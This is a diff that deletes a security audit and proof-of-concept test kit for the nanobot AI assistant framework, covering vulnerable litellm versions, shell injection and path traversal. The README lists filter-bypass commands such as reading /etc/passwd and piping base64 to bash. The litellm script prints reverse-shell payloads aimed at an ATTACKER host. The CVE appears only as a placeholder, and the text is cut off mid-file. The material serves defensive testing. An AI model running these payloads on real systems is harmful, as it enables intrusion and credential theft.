diff --git a/SECURITY_AUDIT.md b/SECURITY_AUDIT.md deleted file mode 100644 index a35f3d0..0000000 --- a/SECURITY_AUDIT.md +++ /dev/null @@ -1,263 +0,0 @@ -# Security Audit Report - nanobot - -**Date:** 2026-02-03 -**Auditor:** GitHub Copilot Security Agent -**Repository:** kingassune/nanobot - -## Executive Summary - -This security audit identified **CRITICAL** vulnerabilities in the nanobot AI assistant framework. The most severe issues are: - -1. **CRITICAL**: Outdated `litellm` dependency with 10 known vulnerabilities including RCE, SSRF, and API key leakage -2. **MEDIUM**: Outdated `ws` (WebSocket) dependency with DoS vulnerability -3. **MEDIUM**: Shell command execution without sufficient input validation -4. **LOW**: File system operations without path traversal protection - -## Detailed Findings - -### 1. CRITICAL: Vulnerable litellm Dependency - -**Severity:** CRITICAL -**Location:** `pyproject.toml` line 21 -**Current Version:** `>=1.0.0` -**Status:** REQUIRES IMMEDIATE ACTION - -#### Vulnerabilities Identified: - -1. **Remote Code Execution via eval()** (CVE-2024-XXXX) - - Affected: `<= 1.28.11` and `< 1.40.16` - - Impact: Arbitrary code execution - - Patched: 1.40.16 (partial) - -2. **Server-Side Request Forgery (SSRF)** - - Affected: `< 1.44.8` - - Impact: Internal network access, data exfiltration - - Patched: 1.44.8 - -3. **API Key Leakage via Logging** - - Affected: `< 1.44.12` and `<= 1.52.1` - - Impact: Credential exposure in logs - - Patched: 1.44.12 (partial), no patch for <=1.52.1 - -4. **Improper Authorization** - - Affected: `< 1.61.15` - - Impact: Unauthorized access - - Patched: 1.61.15 - -5. **Denial of Service (DoS)** - - Affected: `< 1.53.1.dev1` and `< 1.56.2` - - Impact: Service disruption - - Patched: 1.56.2 - -6. **Arbitrary File Deletion** - - Affected: `< 1.35.36` - - Impact: Data loss - - Patched: 1.35.36 - -7. **Server-Side Template Injection (SSTI)** - - Affected: `< 1.34.42` - - Impact: Remote code execution - - Patched: 1.34.42 - -**Recommendation:** Update to `litellm>=1.61.15` immediately. Note that one vulnerability (API key leakage <=1.52.1) has no available patch - monitor for updates. - -### 2. MEDIUM: Vulnerable ws (WebSocket) Dependency - -**Severity:** MEDIUM -**Location:** `bridge/package.json` line 14 -**Current Version:** `^8.17.0` -**Patched Version:** `8.17.1` - -#### Vulnerability: -- **DoS via HTTP Header Flooding** -- Affected: `>= 8.0.0, < 8.17.1` -- Impact: Service disruption through crafted requests with excessive HTTP headers - -**Recommendation:** Update to `ws>=8.17.1` - -### 3. MEDIUM: Shell Command Execution Without Sufficient Validation - -**Severity:** MEDIUM -**Location:** `nanobot/agent/tools/shell.py` lines 46-51 - -#### Issue: -The `ExecTool` class uses `asyncio.create_subprocess_shell()` to execute arbitrary shell commands without input validation or sanitization. While there is a timeout mechanism, there's no protection against: -- Command injection via special characters -- Execution of dangerous commands (e.g., `rm -rf /`) -- Resource exhaustion attacks - -```python -process = await asyncio.create_subprocess_shell( - command, # User-controlled input passed directly to shell - stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, - cwd=cwd, -) -``` - -**Current Mitigations:** -- ✅ Timeout (60 seconds default) -- ✅ Output truncation (10,000 chars) -- ❌ No input validation -- ❌ No command whitelist -- ❌ No user confirmation for dangerous commands - -**Recommendation:** -1. Implement command validation/sanitization -2. Consider using `create_subprocess_exec()` instead for safer execution -3. Add a whitelist of allowed commands or patterns -4. Require explicit user confirmation for destructive operations - -### 4. LOW: File System Operations Without Path Traversal Protection - -**Severity:** LOW -**Location:** `nanobot/agent/tools/filesystem.py` - -#### Issue: -File operations use `Path.expanduser()` but don't validate against path traversal attacks. While `expanduser()` is used, there's no check to prevent operations outside intended directories. - -**Potential Attack Vectors:** -```python -read_file(path="../../../../etc/passwd") -write_file(path="/tmp/../../../etc/malicious") -``` - -**Current Mitigations:** -- ✅ Permission error handling -- ✅ File existence checks -- ❌ No path traversal prevention -- ❌ No directory whitelist - -**Recommendation:** -1. Implement path validation to ensure operations stay within allowed directories -2. Use `Path.resolve()` to normalize paths before operations -3. Check that resolved paths start with allowed base directories - -### 5. LOW: Authentication Based Only on allowFrom List - -**Severity:** LOW -**Location:** `nanobot/channels/base.py` lines 59-82 - -#### Issue: -Access control relies solely on a simple `allow_from` list without: -- Rate limiting -- Authentication tokens -- Session management -- Account lockout after failed attempts - -**Current Implementation:** -```python -def is_allowed(self, sender_id: str) -> bool: - allow_list = getattr(self.config, "allow_from", []) - - # If no allow list, allow everyone - if not allow_list: - return True -``` - -**Concerns:** -1. Empty `allow_from` list allows ALL users (fail-open design) -2. No rate limiting per user -3. User IDs can be spoofed in some contexts -4. No logging of denied access attempts - -**Recommendation:** -1. Change default to fail-closed (deny all if no allow list) -2. Add rate limiting per sender_id -3. Log all authentication attempts -4. Consider adding token-based authentication - -## Additional Security Concerns - -### 6. Information Disclosure in Error Messages - -**Severity:** LOW -Multiple tools return detailed error messages that could leak sensitive information: -```python -return f"Error reading file: {str(e)}" -return f"Error executing command: {str(e)}" -``` - -**Recommendation:** Sanitize error messages before returning to users. - -### 7. API Key Storage in Plain Text - -**Severity:** MEDIUM -**Location:** `~/.nanobot/config.json` - -API keys are stored in plain text in the configuration file. While file permissions provide some protection, this is not ideal for sensitive credentials. - -**Recommendation:** -1. Use OS keyring/credential manager when possible -2. Encrypt configuration file at rest -3. Document proper file permissions (0600) - -### 8. No Input Length Validation - -**Severity:** LOW -Most tools don't validate input lengths before processing, which could lead to resource exhaustion. - -**Recommendation:** Add reasonable length limits on all user inputs. - -## Compliance & Best Practices - -### ✅ Good Security Practices Observed: - -1. **Timeout mechanisms** on shell commands and HTTP requests -2. **Output truncation** prevents memory exhaustion -3. **Permission error handling** in file operations -4. **TLS/SSL** for external API calls (httpx with https) -5. **Structured logging** with loguru - -### ❌ Missing Security Controls: - -1. No rate limiting -2. No input validation/sanitization -3. No content security policy -4. No dependency vulnerability scanning in CI/CD -5. No security headers in responses -6. No audit logging of sensitive operations - -## Recommendations Summary - -### Immediate Actions (Critical Priority): - -1. ✅ **Update litellm to >=1.61.15** -2. ✅ **Update ws to >=8.17.1** -3. **Add input validation to shell command execution** -4. **Implement path traversal protection in file operations** - -### Short-term Actions (High Priority): - -1. Add rate limiting to prevent abuse -2. Change authentication default to fail-closed -3. Implement command whitelisting for shell execution -4. Add audit logging for security-sensitive operations -5. Sanitize error messages - -### Long-term Actions (Medium Priority): - -1. Implement secure credential storage (keyring) -2. Add comprehensive input validation framework -3. Set up automated dependency vulnerability scanning -4. Implement security testing in CI/CD pipeline -5. Add Content Security Policy headers - -## Testing Recommendations - -1. **Dependency Scanning**: Run `pip-audit` or `safety` regularly -2. **Static Analysis**: Use `bandit` for Python security analysis -3. **Dynamic Testing**: Implement security-focused integration tests -4. **Penetration Testing**: Consider professional security assessment -5. **Fuzzing**: Test input validation with fuzzing tools - -## Conclusion - -The nanobot framework requires immediate security updates, particularly for the `litellm` dependency which has critical vulnerabilities including remote code execution. After updating dependencies, focus should shift to improving input validation and implementing proper access controls. - -**Risk Level:** HIGH (before patches applied) -**Recommended Action:** Apply critical dependency updates immediately - ---- - -*This audit was performed using automated tools and manual code review. A comprehensive penetration test is recommended for production deployments.* diff --git a/poc/Dockerfile.bridge b/poc/Dockerfile.bridge deleted file mode 100644 index 4ce1309..0000000 --- a/poc/Dockerfile.bridge +++ /dev/null @@ -1,23 +0,0 @@ -# POC Dockerfile for bridge security testing -FROM node:20-slim - -# Build argument for ws version (allows testing vulnerable versions) -ARG WS_VERSION="^8.17.1" - -WORKDIR /app - -# Copy package files -COPY package.json tsconfig.json ./ -COPY src/ ./src/ - -# Modify ws version for vulnerability testing -RUN npm pkg set dependencies.ws="${WS_VERSION}" - -# Install dependencies -RUN npm install && npm run build 2>/dev/null || true - -# Create results directory -RUN mkdir -p /results - -# Default command -CMD ["node", "dist/index.js"] diff --git a/poc/Dockerfile.nanobot b/poc/Dockerfile.nanobot deleted file mode 100644 index 9c476f1..0000000 --- a/poc/Dockerfile.nanobot +++ /dev/null @@ -1,71 +0,0 @@ -# POC Dockerfile for nanobot security testing -FROM python:3.11-slim - -# Build argument for litellm version (allows testing vulnerable versions) -ARG LITELLM_VERSION=">=1.61.15" - -# Install system dependencies -RUN apt-get update && apt-get install -y --no-install-recommends \ - git \ - curl \ - procps \ - && rm -rf /var/lib/apt/lists/* - -# Create non-root user for permission boundary testing -RUN useradd -m -s /bin/bash nanobot && \ - mkdir -p /app /results && \ - chown -R nanobot:nanobot /app /results - -# Create sensitive test files for path traversal demonstration -RUN mkdir -p /sensitive && \ - echo "SECRET_API_KEY=sk-supersecret12345" > /sensitive/api_keys.txt && \ - echo "DATABASE_PASSWORD=admin123" >> /sensitive/api_keys.txt && \ - chmod 644 /sensitive/api_keys.txt - -# Create additional sensitive locations -RUN echo "poc-test-user:x:1001:1001:POC Test:/home/poc:/bin/bash" >> /etc/passwd.poc && \ - cp /etc/passwd /etc/passwd.backup - -WORKDIR /app - -# Copy project files -COPY pyproject.toml ./ -COPY nanobot/ ./nanobot/ -COPY bridge/ ./bridge/ - -# Upgrade pip and install build tools -RUN pip install --no-cache-dir --upgrade pip setuptools wheel - -# Install dependencies from pyproject.toml requirements -RUN pip install --no-cache-dir \ - "typer>=0.9.0" \ - "litellm${LITELLM_VERSION}" \ - "pydantic>=2.0.0" \ - "pydantic-settings>=2.0.0" \ - "websockets>=12.0" \ - "websocket-client>=1.6.0" \ - "httpx>=0.25.0" \ - "loguru>=0.7.0" \ - "readability-lxml>=0.8.0" \ - "rich>=13.0.0" \ - "croniter>=2.0.0" \ - "python-telegram-bot>=21.0" \ - "trafilatura>=0.8.0" - -# Install nanobot package -RUN pip install --no-cache-dir -e . - -# Copy POC files -COPY poc/ ./poc/ - -# Install POC dependencies -RUN pip install --no-cache-dir pytest pytest-asyncio - -# Create results directory with proper permissions -RUN mkdir -p /results && chown -R nanobot:nanobot /results - -# Switch to non-root user (but can be overridden for root testing) -USER nanobot - -# Default command -CMD ["python", "-m", "nanobot", "--help"] diff --git a/poc/README.md b/poc/README.md deleted file mode 100644 index a190156..0000000 --- a/poc/README.md +++ /dev/null @@ -1,246 +0,0 @@ -# Security Audit POC Environment - -This directory contains a Docker-based proof-of-concept environment to verify and demonstrate the vulnerabilities identified in the [SECURITY_AUDIT.md](../SECURITY_AUDIT.md). - -## Quick Start - -```bash -# Run all POC tests -./run_poc.sh - -# Build only (no tests) -./run_poc.sh --build-only - -# Include vulnerable dependency tests -./run_poc.sh --vulnerable - -# Clean and run fresh -./run_poc.sh --clean -``` - -## Vulnerabilities Demonstrated - -### 1. Shell Command Injection (MEDIUM) - -**File:** `nanobot/agent/tools/shell.py` - -The shell tool uses `create_subprocess_shell()` which is vulnerable to command injection. While a regex pattern blocks some dangerous commands (`rm -rf /`, fork bombs, etc.), many bypasses exist: - -| Bypass Technique | Example | -|-----------------|---------| -| Command substitution | `echo $(cat /etc/passwd)` | -| Backtick substitution | `` echo `id` `` | -| Base64 encoding | `echo BASE64 | base64 -d \| bash` | -| Alternative interpreters | `python3 -c 'import os; ...'` | -| Environment exfiltration | `env \| grep -i key` | - -**Impact:** -- Read sensitive files -- Execute arbitrary code -- Network reconnaissance -- Potential container escape - -### 2. Path Traversal (MEDIUM) - -**File:** `nanobot/agent/tools/filesystem.py` - -The `_validate_path()` function supports restricting file access to a base directory, but this parameter is **never passed** by any tool: - -```python -# The function signature: -def _validate_path(path: str, base_dir: Path | None = None) - -# But all tools call it without base_dir: -valid, file_path = _validate_path(path) # No restriction! -``` - -**Impact:** -- Read any file the process can access (`/etc/passwd`, SSH keys, AWS credentials) -- Write to any writable location (`/tmp`, home directories) -- List any directory for reconnaissance - -### 3. LiteLLM Remote Code Execution (CRITICAL) - -**CVE:** CVE-2024-XXXX (Multiple related CVEs) -**Affected Versions:** litellm <= 1.28.11 and < 1.40.16 - -Multiple vectors for Remote Code Execution through unsafe `eval()` usage: - -| Vector | Location | Description | -|--------|----------|-------------| -| Template Injection | `litellm/utils.py` | User input passed to eval() | -| Proxy Config | `proxy/ui_sso.py` | Configuration values evaluated | -| SSTI | Various | Unsandboxed Jinja2 templates | -| Callback Handlers | Callbacks module | Dynamic code execution | - -**Impact:** -- Arbitrary code execution on the server -- Access to all environment variables (API keys, secrets) -- Full file system access -- Reverse shell capability -- Lateral movement in network - -### 4. Vulnerable Dependencies (CRITICAL - if using old versions) - -**litellm < 1.40.16:** -- Remote Code Execution via `eval()` -- Server-Side Request Forgery (SSRF) -- API Key Leakage - -**ws < 8.17.1:** -- Denial of Service via header flooding - -## Directory Structure - -``` -poc/ -├── docker-compose.yml # Container orchestration -├── Dockerfile.nanobot # Python app container -├── Dockerfile.bridge # Node.js bridge container -├── run_poc.sh # Test harness script -├── config/ -│ └── config.json # Test configuration (not used by exploit scripts) -├── exploits/ -│ ├── shell_injection.py # Shell bypass tests - uses real ExecTool -│ ├── path_traversal.py # File access tests - uses real ReadFileTool/WriteFileTool -│ └── litellm_rce.py # LiteLLM RCE tests - scans real litellm source code -├── sensitive/ # Test files to demonstrate path traversal -└── results/ # Test output -``` - -## Running Individual Tests - -### Shell Injection POC - -```bash -# In container -docker compose run --rm nanobot python /app/poc/exploits/shell_injection.py - -# Locally (if dependencies installed) -python poc/exploits/shell_injection.py -``` - -### Path Traversal POC - -```bash -# In container -docker compose run --rm nanobot python /app/poc/exploits/path_traversal.py - -# Locally -python poc/exploits/path_traversal.py -``` - -### LiteLLM RCE POC - -```bash -# In container (current version) -docker compose run --rm nanobot python /app/poc/exploits/litellm_rce.py - -# With vulnerable version -docker compose --profile vulnerable run --rm nanobot-vulnerable python /app/poc/exploits/litellm_rce.py - -# Locally -python poc/exploits/litellm_rce.py -``` - -### Interactive Testing - -```bash -# Get a shell in the container -docker compose run --rm nanobot bash - -# Test individual commands -python -c " -import asyncio -from nanobot.agent.tools.shell import ExecTool -tool = ExecTool() -print(asyncio.run(tool.execute(command='cat /etc/passwd'))) -" -``` - -## Expected Results - -### Shell Injection - -Most tests should show **⚠️ EXECUTED** status, demonstrating that commands bypass the pattern filter: - -``` -[TEST 1] Command Substitution - Reading /etc/passwd - Status: ⚠️ EXECUTED - Risk: Read sensitive system file via command substitution - Output: root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:... -``` - -### Path Traversal - -File operations outside the workspace should succeed (or fail only due to OS permissions, not code restrictions): - -``` -[TEST 1] Read /etc/passwd - Status: ⚠️ SUCCESS (VULNERABLE) - Risk: System user enumeration - Content: root:x:0:0:root:/root:/bin/bash... -``` - -## Cleanup - -```bash -# Stop and remove containers -docker compose down -v - -# Remove results -rm -rf results/* - -# Full cleanup -./run_poc.sh --clean -``` - -## Recommended Mitigations - -### For Shell Injection - -1. **Replace `create_subprocess_shell` with `create_subprocess_exec`:** - ```python - # Instead of: - process = await asyncio.create_subprocess_shell(command, ...) - - # Use: - args = shlex.split(command) - process = await asyncio.create_subprocess_exec(*args, ...) - ``` - -2. **Implement command whitelisting:** - ```python - ALLOWED_COMMANDS = {'ls', 'cat', 'grep', 'find', 'echo'} - command_name = shlex.split(command)[0] - if command_name not in ALLOWED_COMMANDS: - raise SecurityError(f"Command not allowed: {command_name}") - ``` - -3. **Use container isolation with seccomp profiles** - -### For Path Traversal - -1. **Always pass base_dir to _validate_path:** - ```python - WORKSPACE_DIR = Path("/app/workspace") - - async def execute(self, path: str) -> str: - valid, file_path = _validate_path(path, base_dir=WORKSPACE_DIR) - ``` - -2. **Prevent symlink traversal:** - ```python - resolved = Path(path).resolve() - if not resolved.is_relative_to(base_dir): - raise SecurityError("Path traversal detected") - ``` - -## Contributing - -When adding new POC tests: - -1. Add test method in appropriate exploit file -2. Include expected risk description -3. Document bypass technique -4. Update this README diff --git a/poc/config/config.json b/poc/config/config.json deleted file mode 100644 index dd36a48..0000000 --- a/poc/config/config.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "provider": { - "model": "gpt-4", - "api_base": "https://api.openai.com/v1", - "api_key": "NOT_USED_IN_POC_TESTS" - }, - "channels": { - "telegram": { - "enabled": false, - "token": "NOT_USED_IN_POC_TESTS", - "allow_from": ["123456789"] - }, - "whatsapp": { - "enabled": false, - "bridge_url": "ws://localhost:3000" - } - }, - "workspace": "/app/workspace", - "skills_dir": "/app/nanobot/skills" -} diff --git a/poc/docker-compose.yml b/poc/docker-compose.yml deleted file mode 100644 index c78c4e5..0000000 --- a/poc/docker-compose.yml +++ /dev/null @@ -1,66 +0,0 @@ -services: - nanobot: - build: - context: .. - dockerfile: poc/Dockerfile.nanobot - args: - # Use current version by default; set to vulnerable version for CVE testing - LITELLM_VERSION: ">=1.61.15" - container_name: nanobot-poc - volumes: - # Mount workspace for file access testing - - ../:/app - # Mount sensitive test files - - ./sensitive:/sensitive:ro - # Shared exploit results - - ./results:/results - environment: - - NANOBOT_CONFIG=/app/poc/config/config.json - - POC_MODE=true - networks: - - poc-network - # Keep container running for interactive testing - command: ["tail", "-f", "/dev/null"] - - # Vulnerable nanobot with old litellm for CVE demonstration - nanobot-vulnerable: - build: - context: .. - dockerfile: poc/Dockerfile.nanobot - args: - # Vulnerable version for RCE/SSRF demonstration - LITELLM_VERSION: "==1.28.11" - container_name: nanobot-vulnerable-poc - volumes: - - ../:/app - - ./sensitive:/sensitive:ro - - ./results:/results - environment: - - NANOBOT_CONFIG=/app/poc/config/config.json - - POC_MODE=true - networks: - - poc-network - command: ["tail", "-f", "/dev/null"] - profiles: - - vulnerable # Only start with --profile vulnerable - - # Bridge service for WhatsApp vulnerability testing - bridge: - build: - context: ../bridge - dockerfile: ../poc/Dockerfile.bridge - args: - WS_VERSION: "^8.17.1" - container_name: bridge-poc - volumes: - - ./results:/results - networks: - - poc-network - profiles: - - bridge - -networks: - poc-network: - driver: bridge - # Isolated network for SSRF testing - internal: false diff --git a/poc/exploits/__init__.py b/poc/exploits/__init__.py deleted file mode 100644 index 8719abf..0000000 --- a/poc/exploits/__init__.py +++ /dev/null @@ -1 +0,0 @@ -# POC Exploits Package diff --git a/poc/exploits/litellm_rce.py b/poc/exploits/litellm_rce.py deleted file mode 100644 index 920d927..0000000 --- a/poc/exploits/litellm_rce.py +++ /dev/null @@ -1,460 +0,0 @@ -#!/usr/bin/env python3 -""" -POC: LiteLLM Remote Code Execution via eval() - -CVE: CVE-2024-XXXX (Multiple related CVEs) -Affected Versions: <= 1.28.11 and < 1.40.16 -Impact: Arbitrary code execution on the server -Patched: 1.40.16 (partial), fully patched in later versions - -This vulnerability exists in litellm's handling of certain inputs that are -passed to Python's eval() function without proper sanitization. - -Known vulnerable code paths in older litellm versions: -1. Template string processing with user-controlled input -2. Custom callback handlers with eval-based parsing -3. Proxy server configuration parsing - -IMPORTANT: This POC should only be run against vulnerable litellm versions -(< 1.40.16) in an isolated test environment. -""" - -import asyncio -import sys -import os -import json - -# Add parent directory to path for imports -sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__)))) - - -class LiteLLMRCEPoc: - """Demonstrates litellm RCE vulnerability via eval().""" - - def __init__(self): - self.results = [] - self.litellm_version = None - - def check_litellm_version(self) -> tuple[str, bool]: - """Check installed litellm version and if it's vulnerable.""" - try: - import litellm - version = litellm.__version__ - self.litellm_version = version - - # Parse version for comparison - parts = version.split('.') - major = int(parts[0]) - minor = int(parts[1]) if len(parts) > 1 else 0 - patch = int(parts[2].split('-')[0].split('+')[0]) if len(parts) > 2 else 0 - - # Vulnerable if < 1.40.16 - is_vulnerable = (major < 1) or (major == 1 and minor < 40) or (major == 1 and minor == 40 and patch < 16) - - return version, is_vulnerable - except ImportError: - return "not installed", False - except Exception as e: - return f"error: {e}", False - - def test_template_injection(self) -> dict: - """ - Test for template injection vulnerability in litellm's string formatting. - - In vulnerable versions, user-controlled input in certain template contexts - could be passed to eval(). - """ - result = { - "name": "template_injection", - "description": "Template string injection leading to eval()", - "vulnerable": False, - "details": None, - "error": None - } - - try: - import litellm - from litellm import completion - - # Payload that would execute if eval'd - # This is a benign test - it tries to access __class__ which indicates eval - payload = "__import__('os').popen('echo RCE_SUCCESSFUL').read()" - - # In vulnerable versions, certain template variables could be eval'd - # We test by checking if the library has vulnerable code patterns - - # Check for vulnerable completion_with_fallbacks or similar - if hasattr(litellm, 'completion_with_fallbacks'): - # Older vulnerable pattern - result["details"] = "Found completion_with_fallbacks (potentially vulnerable pattern)" - - # Check utils for eval usage - if hasattr(litellm, 'utils'): - import inspect - utils_source = inspect.getsourcefile(litellm.utils) - if utils_source: - with open(utils_source, 'r') as f: - source = f.read() - if 'eval(' in source: - result["vulnerable"] = True - result["details"] = f"Found eval() in litellm/utils.py" - - except Exception as e: - result["error"] = str(e) - - self.results.append(result) - return result - - def test_callback_rce(self) -> dict: - """ - Test for RCE in custom callback handling. - - In vulnerable versions, custom callbacks with certain configurations - could lead to code execution. - """ - result = { - "name": "callback_rce", - "description": "Custom callback handler code execution", - "vulnerable": False, - "details": None, - "error": None - } - - try: - import litellm - - # Check for vulnerable callback patterns - if hasattr(litellm, 'callbacks'): - # Look for dynamic import/eval in callback handling - import inspect - try: - callback_source = inspect.getsource(litellm.callbacks) if hasattr(litellm, 'callbacks') else "" - if 'eval(' in callback_source or 'exec(' in callback_source: - result["vulnerable"] = True - result["details"] = "Found eval/exec in callback handling code" - except: - pass - - # Check _custom_logger_compatible_callbacks_literal - if hasattr(litellm, '_custom_logger_compatible_callbacks_literal'): - result["details"] = "Found custom logger callback handler (check version)" - - except Exception as e: - result["error"] = str(e) - - self.results.append(result) - return result - - def test_proxy_config_injection(self) -> dict: - """ - Test for code injection in proxy configuration parsing. - - The litellm proxy server had vulnerabilities where config values - could be passed to eval(). - """ - result = { - "name": "proxy_config_injection", - "description": "Proxy server configuration injection", - "vulnerable": False, - "details": None, - "error": None - } - - try: - import litellm - - # Check if proxy module exists and has vulnerable patterns - try: - from litellm import proxy - import inspect - - # Get proxy module source files - proxy_path = os.path.dirname(inspect.getfile(proxy)) - - vulnerable_files = [] - for root, dirs, files in os.walk(proxy_path): - for f in files: - if f.endswith('.py'): - filepath = os.path.join(root, f) - try: - with open(filepath, 'r') as fp: - content = fp.read() - if 'eval(' in content: - vulnerable_files.append(f) - except: - pass - - if vulnerable_files: - result["vulnerable"] = True - result["details"] = f"Found eval() in proxy files: {', '.join(vulnerable_files)}" - else: - result["details"] = "No eval() found in proxy module (may be patched)" - - except ImportError: - result["details"] = "Proxy module not available" - - except Exception as e: - result["error"] = str(e) - - self.results.append(result) - return result - - def test_model_response_parsing(self) -> dict: - """ - Test for unsafe parsing of model responses. - - Some versions had vulnerabilities in how model responses were parsed, - potentially allowing code execution through crafted responses. - """ - result = { - "name": "response_parsing_rce", - "description": "Unsafe model response parsing", - "vulnerable": False, - "details": None, - "error": None - } - - try: - import litellm - from litellm.utils import ModelResponse - - # Check if ModelResponse uses any unsafe parsing - import inspect - source = inspect.getsource(ModelResponse) - - if 'eval(' in source or 'exec(' in source: - result["vulnerable"] = True - result["details"] = "Found eval/exec in ModelResponse class" - elif 'json.loads' in source: - result["details"] = "Uses json.loads (safer than eval)" - - except Exception as e: - result["error"] = str(e) - - self.results.append(result) - return result - - def test_ssti_vulnerability(self) -> dict: - """ - Test for Server-Side Template Injection (SSTI). - - CVE in litellm < 1.34.42 allowed SSTI through template processing. - """ - result = { - "name": "ssti_vulnerability", - "description": "Server-Side Template Injection (SSTI) - CVE in < 1.34.42", - "vulnerable": False, - "details": None, - "error": None - } - - try: - import litellm - - # Check for jinja2 or other template usage without sandboxing - try: - import jinja2 - - # Check if litellm uses jinja2 templates unsafely - litellm_path = os.path.dirname(litellm.__file__) - - for root, dirs, files in os.walk(litellm_path): - for f in files: - if f.endswith('.py'): - filepath = os.path.join(root, f) - try: - with open(filepath, 'r') as fp: - content = fp.read() - if 'jinja2' in content.lower() and 'Template(' in content: - if 'SandboxedEnvironment' not in content: - result["vulnerable"] = True - result["details"] = f"Unsandboxed Jinja2 template in {f}" - break - except: - pass - if result["vulnerable"]: - break - - if not result["vulnerable"]: - result["details"] = "No unsafe template usage detected" - - except ImportError: - result["details"] = "jinja2 not installed" - - except Exception as e: - result["error"] = str(e) - - self.results.append(result) - return result - - def demonstrate_payload(self) -> dict: - """ - Demonstrate what a successful RCE payload would look like. - - NOTE: This does NOT execute malicious code - it only shows the pattern. - """ - result = { - "name": "payload_demonstration", - "description": "Example RCE payload patterns (demonstration only)", - "payloads": [] - } - - # Example payloads that would work against vulnerable versions - payloads = [ - { - "name": "OS Command Execution", - "payload": "__import__('os').system('id')", - "description": "Execute system command via os.system" - }, - { - "name": "Reverse Shell", - "payload": "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"')", - "description": "Spawn reverse shell to attacker" - }, - { - "name": "File Read", - "payload": "__import__('builtins').open('/etc/passwd').read()", - "description": "Read arbitrary files" - }, - { - "name": "Environment Exfiltration", - "payload": "str(__import__('os').environ)", - "description": "Extract environment variables (API keys, secrets)" - }, - { - "name": "Python Code Execution", - "payload": "exec('import socket,subprocess;s=socket.socket();s.connect((\"attacker\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())')", - "description": "Execute arbitrary Python code" - } - ] - - result["payloads"] = payloads - self.results.append(result) - return result - - async def run_all_tests(self): - """Run all RCE vulnerability tests.""" - print("=" * 60) - print("LITELLM RCE VULNERABILITY POC") - print("CVE: Multiple (eval-based RCE)") - print("Affected: litellm < 1.40.16") - print("=" * 60) - print() - - # Check version first - version, is_vulnerable = self.check_litellm_version() - print(f"[INFO] Installed litellm version: {version}") - print(f"[INFO] Version vulnerability status: {'⚠️ POTENTIALLY VULNERABLE' if is_vulnerable else '✅ PATCHED'}") - print() - - if not is_vulnerable: - print("=" * 60) - print("NOTE: Current version appears patched.") - print("To test vulnerable versions, use:") - print(" docker compose --profile vulnerable up nanobot-vulnerable") - print("=" * 60) - print() - - # Run tests - print("--- VULNERABILITY TESTS ---") - print() - - print("[TEST 1] Template Injection") - r = self.test_template_injection() - self._print_result(r) - - print("[TEST 2] Callback Handler RCE") - r = self.test_callback_rce() - self._print_result(r) - - print("[TEST 3] Proxy Configuration Injection") - r = self.test_proxy_config_injection() - self._print_result(r) - - print("[TEST 4] Model Response Parsing") - r = self.test_model_response_parsing() - self._print_result(r) - - print("[TEST 5] Server-Side Template Injection (SSTI)") - r = self.test_ssti_vulnerability() - self._print_result(r) - - print("[DEMO] Example RCE Payloads") - r = self.demonstrate_payload() - print(" Example payloads that would work against vulnerable versions:") - for p in r["payloads"]: - print(f" - {p['name']}: {p['description']}") - print() - - self._print_summary(version, is_vulnerable) - return self.results - - def _print_result(self, result: dict): - """Print a single test result.""" - if result.get("vulnerable"): - status = "⚠️ VULNERABLE" - elif result.get("error"): - status = "❌ ERROR" - else: - status = "✅ NOT VULNERABLE / PATCHED" - - print(f" Status: {status}") - print(f" Description: {result.get('description', 'N/A')}") - if result.get("details"): - print(f" Details: {result['details']}") - if result.get("error"): - print(f" Error: {result['error']}") - print() - - def _print_summary(self, version: str, is_vulnerable: bool): - """Print test summary.""" - print("=" * 60) - print("SUMMARY") - print("=" * 60) - - vulnerable_count = sum(1 for r in self.results if r.get("vulnerable")) - - print(f"litellm version: {version}") - print(f"Version is vulnerable (< 1.40.16): {is_vulnerable}") - print(f"Vulnerable patterns found: {vulnerable_count}") - print() - - if is_vulnerable or vulnerable_count > 0: - print("⚠️ VULNERABILITY CONFIRMED") - print() - print("Impact:") - print(" - Remote Code Execution on the server") - print(" - Access to environment variables (API keys)") - print(" - File system access") - print(" - Potential for reverse shell") - print() - print("Remediation:") - print(" - Upgrade litellm to >= 1.40.16 (preferably latest)") - print(" - Pin to specific patched version in requirements") - else: - print("✅ No vulnerable patterns detected in current version") - print() - print("The installed version appears to be patched.") - print("Continue monitoring for new CVEs in litellm.") - - return { - "version": version, - "is_version_vulnerable": is_vulnerable, - "vulnerable_patterns_found": vulnerable_count, - "overall_vulnerable": is_vulnerable or vulnerable_count > 0 - } - - -async def main(): - poc = LiteLLMRCEPoc() - results = await poc.run_all_tests() - - # Write results to file - results_path = "/results/litellm_rce_results.json" if os.path.isdir("/results") else "litellm_rce_results.json" - with open(results_path, "w") as f: - json.dump(results, f, indent=2, default=str) - print(f"\nResults written to: {results_path}") - - -if __name__ == "__main__": - asyncio.run(main()) diff --git a/poc/exploits/path_traversal.py b/poc/exploits/path_traversal.py deleted file mode 100644 index 50dec4f..0000000 --- a/poc/exploits/path_traversal.py +++ /dev/null @@ -1,359 +0,0 @@ -#!/usr/bin/env python3 -""" -POC: Path Traversal / Unrestricted File Access - -This script demonstrates that the file system tools in nanobot allow -unrestricted file access because `base_dir` is never passed to `_validate_path()`. - -Affected code: nanobot/agent/tools/filesystem.py -- _validate_path() supports base_dir restriction but it's never used -- read_file, write_file, edit_file, list_dir all have unrestricted access -""" - -import asyncio -import sys -import os -import tempfile - -# Add parent directory to path for imports -sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__)))) - -from nanobot.agent.tools.filesystem import ( - ReadFileTool, - WriteFileTool, - EditFileTool, - ListDirTool -) - - -class PathTraversalPOC: - """Demonstrates path traversal vulnerabilities.""" - - def __init__(self): - self.read_tool = ReadFileTool() - self.write_tool = WriteFileTool() - self.edit_tool = EditFileTool() - self.list_tool = ListDirTool() - self.results = [] - - async def test_read(self, name: str, path: str, expected_risk: str) -> dict: - """Test reading a file outside workspace.""" - result = { - "name": name, - "operation": "read", - "path": path, - "expected_risk": expected_risk, - "success": False, - "content_preview": None, - "error": None - } - - try: - content = await self.read_tool.execute(path=path) - result["success"] = True - result["content_preview"] = content[:300] if content else None - except Exception as e: - result["error"] = str(e) - - self.results.append(result) - return result - - async def test_write(self, 